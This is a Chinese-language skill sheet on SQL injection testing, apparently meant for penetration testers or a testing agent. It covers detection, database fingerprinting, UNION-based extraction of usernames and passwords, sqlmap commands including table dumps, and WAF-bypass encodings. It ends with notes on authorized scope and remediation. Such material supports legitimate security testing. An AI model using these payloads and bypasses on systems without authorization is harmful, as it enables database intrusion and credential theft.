SQL注入测试技能
概述
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
测试方法
1. 参数识别
- •识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
- •重点关注:id、search、filter、sort等参数
- •使用Burp Suite或类似工具拦截和修改请求
2. 基础检测
- •单引号测试:
'- 查看是否出现SQL错误 - •布尔盲注:
' AND '1'='1vs' AND '1'='2 - •时间盲注:
' AND SLEEP(5)-- - •联合查询:
' UNION SELECT NULL--
3. 数据库识别
- •MySQL:
' AND @@version LIKE '%mysql%'-- - •PostgreSQL:
' AND version() LIKE '%PostgreSQL%'-- - •MSSQL:
' AND @@version LIKE '%Microsoft%'-- - •Oracle:
' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--
4. 信息提取
- •数据库名:
' UNION SELECT database()-- - •表名:
' UNION SELECT table_name FROM information_schema.tables-- - •列名:
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- - •数据提取:
' UNION SELECT username,password FROM users--
工具使用
sqlmap
bash
# 基础扫描 sqlmap -u "http://target.com/page?id=1" # 指定参数 sqlmap -u "http://target.com/page" --data="id=1" --method=POST # 指定数据库类型 sqlmap -u "http://target.com/page?id=1" --dbms=mysql # 获取数据库列表 sqlmap -u "http://target.com/page?id=1" --dbs # 获取表 sqlmap -u "http://target.com/page?id=1" -D database_name --tables # 获取数据 sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
手动测试
- •使用Burp Suite的Repeater模块
- •使用浏览器开发者工具
- •编写Python脚本自动化测试
绕过技术
WAF绕过
- •编码绕过:URL编码、Unicode编码、十六进制编码
- •注释绕过:
/**/,--,# - •大小写混合:
SeLeCt,UnIoN - •空格替换:
/**/,+,%09(Tab),%0A(换行)
示例
code
原始:' UNION SELECT NULL-- 绕过1:'/**/UNION/**/SELECT/**/NULL-- 绕过2:'%55nion%20select%20null-- 绕过3:'/*!UNION*//*!SELECT*/null--
验证和报告
验证步骤
- •确认可以执行SQL语句
- •提取数据库信息验证
- •评估影响范围(数据泄露、权限提升等)
- •记录完整的POC(请求/响应)
报告要点
- •漏洞位置和参数
- •影响的数据和系统
- •完整的利用步骤
- •修复建议(参数化查询、输入验证等)
注意事项
- •仅在授权测试环境中进行
- •避免对生产数据造成破坏
- •谨慎使用DROP、DELETE等危险操作
- •记录所有测试步骤以便复现